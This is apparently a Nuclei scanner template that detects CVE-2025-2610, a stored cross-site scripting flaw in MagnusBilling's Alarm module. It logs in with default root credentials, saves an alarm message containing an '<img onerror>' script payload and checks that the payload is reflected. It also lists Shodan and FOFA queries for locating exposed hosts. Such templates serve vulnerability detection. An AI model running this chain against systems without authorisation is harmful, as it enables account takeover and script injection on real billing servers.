CVE-2025-2610: MagnusBilling Alarm Module - Cross-Site Scripting

id: CVE-2025-2610

info:
  name: MagnusBilling Alarm Module - Cross-Site Scripting
  author: DhiyaneshDK
  severity: high
  description: |
    Improper neutralization of input during web page generation vulnerability in MagnusSolution MagnusBilling (Alarm Module modules) allows authenticated stored cross-site scripting. This vulnerability is associated with program files protected/components/MagnusLog.Php.This issue affects MagnusBilling- through 7.3.0.
  reference:
    - https://vulncheck.com/advisories/magnusbilling-logs-xss
    - https://chocapikk.com/posts/2025/magnusbilling/
    - https://nvd.nist.gov/vuln/detail/CVE-2025-2610
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:H/I:L/A:N
    cvss-score: 7.6
    cve-id: CVE-2025-2610
    cwe-id: CWE-79
    epss-score: 0.0162
    epss-percentile: 0.81185
    cpe: cpe:2.3:a:magnussolution:magnusbilling:*:*:*:*:*:*:*:*
  metadata:
    verified: true
    max-request: 1
    vendor: magnussolution
    product: magnusbilling
    shodan-query: http.html:"magnusbilling"
    fofa-query: body="magnusbilling"
  tags: cve,cve2025,mbilling,xss,magnusbilling,authenticated,vkev

flow: http(1) && http(2) && http(3) && http(4)

variables:
  username: "root"
  password: "9F4CA770B638615AC5C3E0D2DA16B77C80C2F2C6" # magnus
  email: "{{randstr}}@{{rand_base(5)}}.com"

http:
  - raw:
      - |
        POST /mbilling/index.php/authentication/login HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/x-www-form-urlencoded; charset=UTF-8

        user={{username}}&password={{password}}&key=

    matchers:
      - type: dsl
        dsl:
          - 'status_code == 200'
          - 'contains(body, "success")'
        condition: and
        internal: true

  - raw:
      - |
        GET /mbilling/index.php/authentication/check?_dc= HTTP/1.1
        Host: {{Hostname}}

    matchers:
      - type: dsl
        dsl:
          - 'status_code == 200'
          - 'contains(body, "id_agent")'
        condition: and
        internal: true

  - raw:
      - |
        POST /mbilling/index.php/alarm/save?_dc= HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/x-www-form-urlencoded;

        rows={"id":0,"id_plan":0,"type":1,"amount":1,"condition":1,"status":1,"email":"{{email}}","period":3600,"creationdate":null,"subject":"test","message":"<img src=x onerror=alert(document.domain)>"}

    matchers:
      - type: dsl
        dsl:
          - 'status_code == 200'
          - 'contains(body, "Operation was successful")'
        condition: and
        internal: true

  - raw:
      - |
        GET /mbilling/index.php/alarm/read?_dc=&page=1&start=0&limit=25 HTTP/1.1
        Host: {{Hostname}}

    matchers:
      - type: dsl
        dsl:
          - 'status_code == 200'
          - 'contains_all(body, "<img src=x onerror=alert(document.domain)>", "idPlanname")'
        condition: and
# digest: 4a0a0047304502206ce478b6b9959d256ac8ec95d26a3384ebbad52266ef09951a1ee7e570bbddd1022100c862adae52030b4767124d3a532b80aa0260aa7815bdf01283597f7e60f79df1:922c64590222798bb761d5b6d8e72950